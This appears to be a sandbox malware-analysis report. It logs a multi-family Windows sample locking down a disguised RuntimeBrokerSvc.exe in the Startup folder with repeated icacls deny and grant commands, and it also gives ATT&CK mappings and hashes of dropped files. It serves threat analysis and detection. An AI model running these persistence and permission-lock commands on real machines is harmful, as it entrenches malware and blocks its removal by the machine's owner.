- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBrokerSvc.exe" /grant:r FRPTRMXS\Admin:(RX) SYSTEM:(RX) Users:(RX) Everyone:(RX)
    3⤵
    - Modifies file permissions
    PID:4080
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Temp /remove:d Everyone
    3⤵
    PID:1420
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBrokerSvc.exe" /deny FRPTRMXS\Admin:(DE,DC)
    3⤵
    - Modifies file permissions
    PID:3620
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Temp\2026-08-02_958a96524fedb17b35a83665a62bf69c_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe /remove:d FRPTRMXS\Admin
    3⤵
    PID:2160
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Temp\2026-08-02_958a96524fedb17b35a83665a62bf69c_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe /remove:d Everyone
    3⤵
    - Possible privilege escalation attempt
    PID:5496
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBrokerSvc.exe" /deny Everyone:(DE,DC)
    3⤵
    PID:4244
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" /deny FRPTRMXS\Admin:(DC)
    3⤵
    PID:4828
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Temp\2026-08-02_958a96524fedb17b35a83665a62bf69c_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe /remove:d SYSTEM
    3⤵
    PID:4140
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" /deny Everyone:(DC)
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2840
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Temp\2026-08-02_958a96524fedb17b35a83665a62bf69c_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe /grant:r FRPTRMXS\Admin:(F)
    3⤵
    PID:4448
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Temp\2026-08-02_958a96524fedb17b35a83665a62bf69c_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe /grant:r Everyone:(RX)
    3⤵
    - Possible privilege escalation attempt
    PID:6136
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Windows\RuntimeBrokerSvc.exe /inheritance:r
    3⤵
    - Possible privilege escalation attempt
    PID:256
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Windows\RuntimeBrokerSvc.exe /grant:r FRPTRMXS\Admin:(RX) SYSTEM:(RX) Users:(RX) Everyone:(RX)
    3⤵
    - Modifies file permissions
    PID:2556
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Windows\RuntimeBrokerSvc.exe /deny FRPTRMXS\Admin:(DE,DC)
    3⤵
    PID:2444
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Windows\RuntimeBrokerSvc.exe /deny Everyone:(DE,DC)
    3⤵
    PID:1268
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Windows /deny FRPTRMXS\Admin:(DC)
    3⤵
    - Modifies file permissions
    PID:4396
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Windows /deny Everyone:(DC)
    3⤵
    PID:2668
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBrokerSvc.exe" /inheritance:r
    3⤵
    PID:5832
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBrokerSvc.exe" /grant:r FRPTRMXS\Admin:(RX) SYSTEM:(RX) Users:(RX) Everyone:(RX)
    3⤵
    PID:2340
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBrokerSvc.exe" /deny FRPTRMXS\Admin:(DE,DC)
    3⤵
    PID:2368
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBrokerSvc.exe" /deny Everyone:(DE,DC)
    3⤵
    - Possible privilege escalation attempt
    PID:1168
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" /deny FRPTRMXS\Admin:(DC)
    3⤵
    PID:4556
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" /deny Everyone:(DC)
    3⤵
    - Possible privilege escalation attempt
    PID:4360
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Windows\RuntimeBrokerSvc.exe /inheritance:r
    3⤵
    PID:2664
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Windows\RuntimeBrokerSvc.exe /grant:r FRPTRMXS\Admin:(RX) SYSTEM:(RX) Users:(RX) Everyone:(RX)
    3⤵
    PID:3820
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Windows\RuntimeBrokerSvc.exe /deny FRPTRMXS\Admin:(DE,DC)
    3⤵
    - Modifies file permissions
    PID:5680
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Windows\RuntimeBrokerSvc.exe /deny Everyone:(DE,DC)
    3⤵
    - Possible privilege escalation attempt
    PID:4388
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Windows /deny FRPTRMXS\Admin:(DC)
    3⤵
    - Modifies file permissions
    PID:5760
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Windows /deny Everyone:(DC)
    3⤵
    - Possible privilege escalation attempt
    PID:1112
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBrokerSvc.exe" /inheritance:r
    3⤵
    PID:3360
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBrokerSvc.exe" /grant:r FRPTRMXS\Admin:(RX) SYSTEM:(RX) Users:(RX) Everyone:(RX)
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:3728
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBrokerSvc.exe" /deny FRPTRMXS\Admin:(DE,DC)
    3⤵
    PID:5736
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBrokerSvc.exe" /deny Everyone:(DE,DC)
    3⤵
    PID:3944
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" /deny FRPTRMXS\Admin:(DC)
    3⤵
    PID:2868
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" /deny Everyone:(DC)
    3⤵
    - Modifies file permissions
    PID:1908
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Windows\RuntimeBrokerSvc.exe /inheritance:r
    3⤵
    - Modifies file permissions
    PID:3620
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Windows\RuntimeBrokerSvc.exe /grant:r FRPTRMXS\Admin:(RX) SYSTEM:(RX) Users:(RX) Everyone:(RX)
    3⤵
    - Modifies file permissions
    PID:5836
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Windows\RuntimeBrokerSvc.exe /deny FRPTRMXS\Admin:(DE,DC)
    3⤵
    PID:5104
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Windows\RuntimeBrokerSvc.exe /deny Everyone:(DE,DC)
    3⤵
    - Modifies file permissions
    PID:5872
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Windows /deny FRPTRMXS\Admin:(DC)
    3⤵
    PID:2688
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Windows /deny Everyone:(DC)
    3⤵
    PID:3700
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBrokerSvc.exe" /inheritance:r
    3⤵
    - Possible privilege escalation attempt
    PID:3384
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBrokerSvc.exe" /grant:r FRPTRMXS\Admin:(RX) SYSTEM:(RX) Users:(RX) Everyone:(RX)
    3⤵
    PID:1484
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBrokerSvc.exe" /deny FRPTRMXS\Admin:(DE,DC)
    3⤵
    PID:2656
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBrokerSvc.exe" /deny Everyone:(DE,DC)
    3⤵
    PID:3344
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" /deny FRPTRMXS\Admin:(DC)
    3⤵
    - Possible privilege escalation attempt
    PID:4612
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" /deny Everyone:(DC)
    3⤵
    PID:5076
- - C:\Windows\SYSTEM32\schtasks.exe
    schtasks /query /tn WindowsHealthService
    3⤵
    PID:1416
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBrokerSvc.exe" /inheritance:r
    3⤵
    - Modifies file permissions
    PID:5232
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBrokerSvc.exe" /grant:r FRPTRMXS\Admin:(RX) SYSTEM:(RX) Users:(RX) Everyone:(RX)
    3⤵
    PID:4544
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBrokerSvc.exe" /deny FRPTRMXS\Admin:(DE,DC)
    3⤵
    PID:4444
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBrokerSvc.exe" /deny Everyone:(DE,DC)
    3⤵
    - Possible privilege escalation attempt
    PID:4516
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" /deny FRPTRMXS\Admin:(DC)
    3⤵
    - Possible privilege escalation attempt
    PID:2128
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" /deny Everyone:(DC)
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:4164
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Windows\RuntimeBrokerSvc.exe /inheritance:r
    3⤵
    - Modifies file permissions
    PID:5640
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Windows\RuntimeBrokerSvc.exe /grant:r FRPTRMXS\Admin:(RX) SYSTEM:(RX) Users:(RX) Everyone:(RX)
    3⤵
    PID:2372
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Windows\RuntimeBrokerSvc.exe /deny FRPTRMXS\Admin:(DE,DC)
    3⤵
    - Possible privilege escalation attempt
    PID:4652
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Windows\RuntimeBrokerSvc.exe /deny Everyone:(DE,DC)
    3⤵
    PID:6128
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Windows /deny FRPTRMXS\Admin:(DC)
    3⤵
    PID:2148
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Windows /deny Everyone:(DC)
    3⤵
    - Possible privilege escalation attempt
    PID:4888
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBrokerSvc.exe" /inheritance:r
    3⤵
    - Modifies file permissions
    PID:4676
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBrokerSvc.exe" /grant:r FRPTRMXS\Admin:(RX) SYSTEM:(RX) Users:(RX) Everyone:(RX)
    3⤵
    PID:2888
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBrokerSvc.exe" /deny FRPTRMXS\Admin:(DE,DC)
    3⤵
    PID:1928
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBrokerSvc.exe" /deny Everyone:(DE,DC)
    3⤵
    PID:3360
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" /deny FRPTRMXS\Admin:(DC)
    3⤵
    PID:1200
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" /deny Everyone:(DC)
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1232
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBrokerSvc.exe" /inheritance:r
    3⤵
    PID:2968
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBrokerSvc.exe" /grant:r FRPTRMXS\Admin:(RX) SYSTEM:(RX) Users:(RX) Everyone:(RX)
    3⤵
    PID:2032
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBrokerSvc.exe" /deny FRPTRMXS\Admin:(DE,DC)
    3⤵
    PID:3404
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBrokerSvc.exe" /deny Everyone:(DE,DC)
    3⤵
    PID:1856
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" /deny FRPTRMXS\Admin:(DC)
    3⤵
    - Possible privilege escalation attempt
    PID:4244
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" /deny Everyone:(DC)
    3⤵
    PID:5488
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Windows\RuntimeBrokerSvc.exe /inheritance:r
    3⤵
    - Possible privilege escalation attempt
    PID:1868
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Windows\RuntimeBrokerSvc.exe /grant:r FRPTRMXS\Admin:(RX) SYSTEM:(RX) Users:(RX) Everyone:(RX)
    3⤵
    - Modifies file permissions
    PID:1300
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Windows\RuntimeBrokerSvc.exe /deny FRPTRMXS\Admin:(DE,DC)
    3⤵
    PID:4232
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Windows\RuntimeBrokerSvc.exe /deny Everyone:(DE,DC)
    3⤵
    - Modifies file permissions
    PID:5608
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Windows /deny FRPTRMXS\Admin:(DC)
    3⤵
    PID:5968
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Windows /deny Everyone:(DC)
    3⤵
    PID:256
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBrokerSvc.exe" /inheritance:r
    3⤵
    PID:1296
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBrokerSvc.exe" /grant:r FRPTRMXS\Admin:(RX) SYSTEM:(RX) Users:(RX) Everyone:(RX)
    3⤵
    PID:4612
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBrokerSvc.exe" /deny FRPTRMXS\Admin:(DE,DC)
    3⤵
    - Possible privilege escalation attempt
    PID:1720
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBrokerSvc.exe" /deny Everyone:(DE,DC)
    3⤵
    PID:4264
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" /deny FRPTRMXS\Admin:(DC)
    3⤵
    PID:5924
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" /deny Everyone:(DC)
    3⤵
    - Modifies file permissions
    PID:3740
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Windows\RuntimeBrokerSvc.exe /inheritance:r
    3⤵
    PID:2160
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Windows\RuntimeBrokerSvc.exe /grant:r FRPTRMXS\Admin:(RX) SYSTEM:(RX) Users:(RX) Everyone:(RX)
    3⤵
    PID:6232
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Windows\RuntimeBrokerSvc.exe /deny FRPTRMXS\Admin:(DE,DC)
    3⤵
    - Possible privilege escalation attempt
    PID:480
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Windows\RuntimeBrokerSvc.exe /deny Everyone:(DE,DC)
    3⤵
    PID:3184
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Windows /deny FRPTRMXS\Admin:(DC)
    3⤵
    - Modifies file permissions
    PID:2672
- - C:\Windows\SYSTEM32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Windows /deny Everyone:(DC)
    3⤵
    PID:1488
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBrokerSvc.exe" /inheritance:r
    3⤵
    - Modifies file permissions
    PID:1044
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBrokerSvc.exe" /grant:r FRPTRMXS\Admin:(RX) SYSTEM:(RX) Users:(RX) Everyone:(RX)
    3⤵
    PID:7320
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBrokerSvc.exe" /deny FRPTRMXS\Admin:(DE,DC)
    3⤵
    - Modifies file permissions
    PID:7868
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBrokerSvc.exe" /deny Everyone:(DE,DC)
    3⤵
    - Possible privilege escalation attempt
    PID:8344
- - C:\Windows\SYSTEM32\icacls.exe
    icacls "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" /deny FRPTRMXS\Admin:(DC)
    3⤵
    - Possible privilege escalation attempt
    PID:9020

C:\Windows\System32\wscript.exe
C:\Windows\System32\wscript.exe
1⤵
PID:4948

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

File and Directory Permissions Modification

T1222

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 67KB
SHA256 50b9dc324634108ff1aa98008c68c20b19c4e982d377c82afc12ea505ff598bd
MD5 2effd9b76a5fd667b1642852861ce04e
SHA1 86c9117fff0fd1a99dbc6dba27ebd143235eb996
SHA512 5f51665089f7705ba4dbb70b3b6d4368208751a5577300c73910fa46c6b6fd038b6d1c26b0e455bcf2f0cff058e9d18768692a998ba4e273f8ed56c9c3d938a4
SSDEEP 1536:1KLg07Yo2hk3MFfKQVAflJdpHYLh4iUxpR40i71YigMQyPTOdBcV3CNBQkj2Va5o:1KLg07Yo2hk3MFfKQVAflJd9YLqiUpRe
TLSH
T1EC636292E9204E75E1A66F3EF15622627C30394690F8153211DC25EFA987D930B1FBFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_kbg_run_41323142.vbs

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\System\_kbg_run_41323142.vbs
Size 187B
SHA256 226aa67e5ed86f8874bbfcb869f82bb816a3ea2903853b580c0e3271d69e8171
MD5 85707af5be501e5c55d1d6d9616616cf
SHA1 2c6c8de6faf65e43ef3f3314744d03f6d8a1ff34
SHA512 ef2acc972ced3eb92078a6338b7ee2e10688c63f408427753625ea57d6019cf2d85e79c16c4b478926f011c3db7d0a3ee3ff91bd20844db389ed443923dd6923
TLSH
T16DC08009DCADD6259468C07707F565489B6DD7075027FD1917109548631155463563D3
MD5 SHA1 SHA512 TLSH

Submit Download

kbg_debug.log

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\kbg_debug.log
Size 3KB
SHA256 d3eb4aa7a83040155796648a19973eb2a58015f0758760090dc4789b301e19ab
MD5 f5797df875c5df81ca863ea7535b471c
SHA1 91faca4279e5610d1c56672e08dcb60121bc144e
SHA512 3e99f9659a209a8d3b2ed13eb6537804a52ccab222e4acbe46091b05e3faac61d8fc6dae989a87c34009f36056401f42c7a46fd39e54cf09dadf6ce6e684ab9d
TLSH
T127617B2080BFAB9BC837D36E896B3D844191B10AB5BC3690A3F0C51D31B5B0E759FE85
MD5 SHA1 SHA512 TLSH

Submit Download

kbg_debug.log

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\kbg_debug.log
Size 5KB
SHA256 4b6ed3dd3f611d5e7688f02cb8282d7a694f3f7e4f7b123ead6f1c7097970b88
MD5 e3aeb5b4fcf3f2d4da35183e76441526
SHA1 f4baae51dd6e283b6f6ce8414424f2442b3fcd49
SHA512 3334e8e45960b02022a9bfd7eb7b6dcae06fe3d34c7397c70be4d79c241ad963282dc38c0360c540c8abc255661af8fa52ae1794a945609954a45229f288bf12
SSDEEP 96:ok+c4UaI4imb+c4UWI4Pc4Am1YJm1Lc4wOm17m1uc4Am1Qm1Lc4wOm17m17c4AmK:jHlaIOHlWIl4YewfAX4VwfAA4gwqxG4l
TLSH
T1CFB18B3080BFAB5BC836D36E496B2D884191B50AB5BC3791A3E0C51D31B5A0EB58FE85
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

MpCmdRun.log

Path C:\Users\Admin\AppData\Local\Temp\MpCmdRun.log
Size 1KB
SHA256 171f29c571de955168d17cd6d343e17653ab3f5433c50f100be3808abc37ba1e
MD5 479be1c8379c9ea2a56e47d44bb4ac7d
SHA1 f099c4f9f7726732c5991b46ec7020bc1f6352ca
SHA512 ec3a76fa0159078cf40e82d4a2adc6121ca44cca0664e8201c0bedcedb70699b5840a724db99b11db1d9ef2a73fa20ee99b1d9a054a8cabb135ae2bba39782b7
TLSH
T1E811F25626ED1209A6F3AB61A9F78532D637BC5219745D4D2588C3490CEEA04DC24F73
MD5 SHA1 SHA512 TLSH

Submit Download

MpCmdRun.log

Path C:\Users\Admin\AppData\Local\Temp\MpCmdRun.log
Size 3KB
SHA256 2f8c2bd784d710ef1e725ff9bb088990777f615fa46467ad19919baa65fa420a
MD5 90522556a0e331200ff3f68b4574c57e
SHA1 df90780034384b3a45f8f128391443e3a10d012a
SHA512 a5d5d7bc21954a0c7860df79c779238023f63e1babb087409b42dd9eb8226be26eef202aa958858da1fba350af0a99e9e83493ee2f96eff3465a0b67837b4e52
TLSH
T1F361011726E91209B6F3AB62A9F78532D637BC5619745D8D2588C3890CEEA04DC24F73
MD5 SHA1 SHA512 TLSH

Submit Download

MpCmdRun.log

Path C:\Users\Admin\AppData\Local\Temp\MpCmdRun.log
Size 4KB
SHA256 f56906eaab12af7559c492085c22c5a0ea45b9fbf68e2725d361e941af4afd17
MD5 b0f5bad70ff676ea5a6909071e6f4c77
SHA1 b4ba9cf4407f7d486e6eb413f7c3322f0b25edee
SHA512 f61b02d5285b3cd696fbc0f97bb1af854bb75244b6b6045efdc555ebff480fdb525be2467c4992231ce07a6ce47c6b6ab7935abbba1d2524cc8ea5f2dd2d06d0
SSDEEP 48:Oaqdl58qYk+AHo7qbaqdl58siIok+AHo7qbaqdl58F3k+AHo7qbaqdl58qYFUKHp:Ttk+AVu0ok+AVu/3k+AVuHUKHk+AV6
TLSH
T15091231627ED120AB2F39B62A9F78532D637BC9229745D4D2588C3490CEEA00DC28F73
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

MpCmdRun.log

Path C:\Users\Admin\AppData\Local\Temp\MpCmdRun.log
Size 5KB
SHA256 573c4696f2a0714f1d3f06f2f927cec17be727928dd11dc1d8ec80ec2c4b2bab
MD5 3c3377531c4c43b5c5356aa821ea1448
SHA1 09cae22bc2b134556024099be6cb3a2e3a3c5335
SHA512 548a14c6410f29f93d693e63d2bf0fabb7b00e80742a193ff7734d325132a4dab13341e5c176b5cb37b233f2231663c08493585c193ea448c3ea41c3edc20693
SSDEEP 96:Ttk+AVu0ok+AVu/3k+AVuHUKHk+AVuFk+AV6:T6+Au++Auc+AuHUKE+AuS+A6
TLSH
T125C1131626ED120AB6F3AB62A9F78532D637BC9229745D4D2588C3490CEEA04DC24F73
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

MpCmdRun.log

Path C:\Users\Admin\AppData\Local\Temp\MpCmdRun.log
Size 6KB
SHA256 80ffec506fe1bc5dba2a1cc574b072f33cbaeb7f584ffa87f42dc92149243127
MD5 809c876a70eaebb896694f2eefb7f389
SHA1 384e848c3d566c0eeb940cdf6a188d2ad992ca9c
SHA512 238cc9533f42265de98242b96626287946d2a1757d8ebb527e2f10811680271f9e319a074bea6659b1c1d6952b465ef9001220cf76ed90df3754586e1e0c1337
SSDEEP 96:Ttk+AVu0ok+AVu/3k+AVuHUKHk+AVuFk+AVuJk+AV6:T6+Au++Auc+AuHUKE+AuS+AuW+A6
TLSH
T116D1231727ED120AB6F3AB62A9F78532D637BC5229745D4D2588C3490CEEA04DC28F73
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

MpCmdRun.log

Path C:\Users\Admin\AppData\Local\Temp\MpCmdRun.log
Size 7KB
